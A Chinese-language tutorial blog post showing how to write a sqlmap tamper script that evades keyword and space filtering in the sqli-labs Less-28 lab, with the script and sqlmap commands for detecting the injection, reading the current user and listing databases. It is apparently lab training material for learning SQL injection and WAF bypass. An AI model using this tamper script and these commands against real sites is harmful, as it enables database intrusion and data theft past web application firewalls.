sqlmap绕过WAF脚本编写
文章目录
前言
一、什么是sqlmap和tamper脚本
Sqlmap一款功能强大集成了多种数据库识别及注入方式,多用于识别和利用Web 应用程序注入漏洞的工具,它的优点在于集成了大量 payload,对检测与利用的自动化处理(数据库指纹、访问底层文件系统、执行命令)。 我们之前学习时间盲注的时候,可以针对时间盲注类型的漏洞的写个专门的自动化脚本来帮忙我们测试,但是不比这个sqlmap这个集成工具强大。
1.tamper的作用
使用SQLMap提供的tamper脚本,可在一定程度上避开应用程序的敏感字符过滤、绕过WAF规则的阻挡,继而进行渗透攻击。
部分防护系统的缩写:
WAF:Web应用程序防火墙,Web Application Firewall
IPS:入侵防御系统, Intrusion Prevention System
IDS:入侵检测系统,Intrusion Detection System
2.tamper用法
–tamper=TAMPER 利用给定的脚本进行篡改注入数据。其用法可举例说明:
python sqlmap.py -u “http://…/?uname=admin&pwd=pass123” --level=5 --risk=3 -p “uname” --tamper=xxx.py
表示对指定的url地址,以所设置的level等级、risk等级,并采用选定的tamper篡改脚本对参数“uname”进行检测
二、利用sqlmap脚本进行扫描获取数据库信息
1.编写sqlmap绕过WAF脚本
利用sqli-labs实验室第28关进行实验,进行代码审计可知
代码中对各种符号,空格进行了过滤,说明存在WAF,我们可以进行编写sqlmap脚本进行绕过,这里编写一个sqli-labs28.py脚本到sqlmap的tamper目录下
脚本模板如下:
#!/usr/bin/env python
“”"
Copyright © 2006-2021 sqlmap developers (https://sqlmap.org/)
See the file ‘LICENSE’ for copying permission
“”"
from lib.core.convert import encodeBase64
from lib.core.enums import PRIORITY
priority = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
“”"
Bypass sqli-lasbs/Less-28
“”"
if payload:
payload = payload.replace(‘union select’,‘unnion all select’).replace(’ ‘,’%0a’)
return payload
2.通过sqlmap进行获取数据库信息
这里我在window下使用sqlmap,搭建python环境进行运行
首先,进行对目标url进行扫描
python sqlmap.py -u “http://192.168.222.4/sqli-labs/Less-28/?id=1” --flush-session
扫描结果可知,id参数没有存在注入点,这里我们脚本侥幸扫描试试是否可以绕过过滤点进行注入,获取信息。
输入脚本文件
python sqlmap.py -u “http://192.168.222.4/sqli-labs/Less-28/?id=1” --flush-session --tamper=sqli-labs28
由测试结果可知,注入成功,接下来我们获取数据信息
python sqlmap.py -u “http://192.168.222.4/sqli-labs/Less-28/?id=1” --tamper=sqli-labs28 --current-user(输出当前用户)
由结果可知,获取信息成功,接下来我们获取有哪些数据库
python sqlmap.py -u “http://192.168.222.4/sqli-labs/Less-28/?id=1” --tamper=sqli-labs28 --dbs -v 3(通过payload获取数据库内容)
由以上结果可知,数据库信息获取成功,实验结束。
接下来大家就可以利用sqlmap核心语法获取更多的信息。
总结
本次实验是利用sqlmap编写脚本绕过WAF的一个经典实例,通过代码审计发现存在符号和空格过滤,我们就可以进行编写脚本进行绕过,这样我们就可以通过绕过WAF,获取对方的数据库信息了。
版权归原作者 炫彩@之星 所有, 如有侵权,请联系我们删除。